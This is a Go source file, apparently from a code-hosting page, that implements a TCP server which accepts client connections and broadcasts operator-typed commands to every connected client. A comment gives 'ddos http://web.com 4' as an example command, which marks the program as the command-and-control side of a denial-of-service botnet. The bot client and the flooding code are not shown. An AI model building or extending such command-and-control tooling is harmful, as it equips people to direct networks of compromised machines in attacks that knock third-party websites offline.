You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

126 lines
2.5 KiB

  1. package main
  2. import (
  3. "bufio"
  4. "fmt"
  5. "net"
  6. "os"
  7. "strconv"
  8. "strings"
  9. )
  10. const (
  11. CONN_HOST = "localhost"
  12. CONN_PORT = "3333"
  13. CONN_TYPE = "tcp"
  14. )
  15. var allClients map[*Client]int
  16. type Client struct {
  17. outgoing chan string
  18. reader *bufio.Reader
  19. writer *bufio.Writer
  20. conn net.Conn
  21. connection *Client
  22. }
  23. func (client *Client) Read() {
  24. for {
  25. line, err := client.reader.ReadString('\n')
  26. if err == nil {
  27. fmt.Println("")
  28. fmt.Println(line)
  29. fmt.Print("enter new command: ")
  30. } else {
  31. break
  32. }
  33. }
  34. client.conn.Close()
  35. delete(allClients, client)
  36. if client.connection != nil {
  37. client.connection.connection = nil
  38. }
  39. client = nil
  40. }
  41. func (client *Client) Write() {
  42. for data := range client.outgoing {
  43. client.writer.WriteString(data)
  44. client.writer.Flush()
  45. }
  46. }
  47. func (client *Client) Listen() {
  48. go client.Read()
  49. go client.Write()
  50. }
  51. func NewClient(connection net.Conn) *Client {
  52. writer := bufio.NewWriter(connection)
  53. reader := bufio.NewReader(connection)
  54. client := &Client{
  55. // incoming: make(chan string),
  56. outgoing: make(chan string),
  57. conn: connection,
  58. reader: reader,
  59. writer: writer,
  60. }
  61. client.Listen()
  62. return client
  63. }
  64. func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4
  65. newcommand := bufio.NewReader(os.Stdin)
  66. for {
  67. text, _ := newcommand.ReadString('\n')
  68. text = strings.TrimSpace(text)
  69. // send newcommand back to client
  70. if text != "" {
  71. fmt.Println("console input command: " + text)
  72. fmt.Println("sending command to " + strconv.Itoa(len(allClients)) + " connected clients")
  73. for clientList, _ := range allClients {
  74. //if clientList.connection == nil {
  75. clientList.conn.Write([]byte(text + "\n"))
  76. //}
  77. }
  78. fmt.Print("enter new command: ")
  79. }
  80. }
  81. }
  82. func watchClientConnectionInput(client *Client) {
  83. for clientList, _ := range allClients {
  84. if clientList.connection == nil {
  85. client.connection = clientList
  86. clientList.connection = client
  87. fmt.Println("Connected")
  88. }
  89. }
  90. allClients[client] = 1
  91. fmt.Println(strconv.Itoa(len(allClients)) + " connected clients")
  92. fmt.Print("command to send to the clients: ")
  93. }
  94. func main() {
  95. allClients = make(map[*Client]int)
  96. listener, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
  97. if err != nil {
  98. fmt.Println("Error listening:", err.Error())
  99. os.Exit(1)
  100. }
  101. fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
  102. for {
  103. conn, err := listener.Accept()
  104. if err != nil {
  105. fmt.Println(err.Error())
  106. }
  107. client := NewClient(conn)
  108. go watchClientConnectionInput(client)
  109. go watchConsoleInput(client.conn)
  110. }
  111. }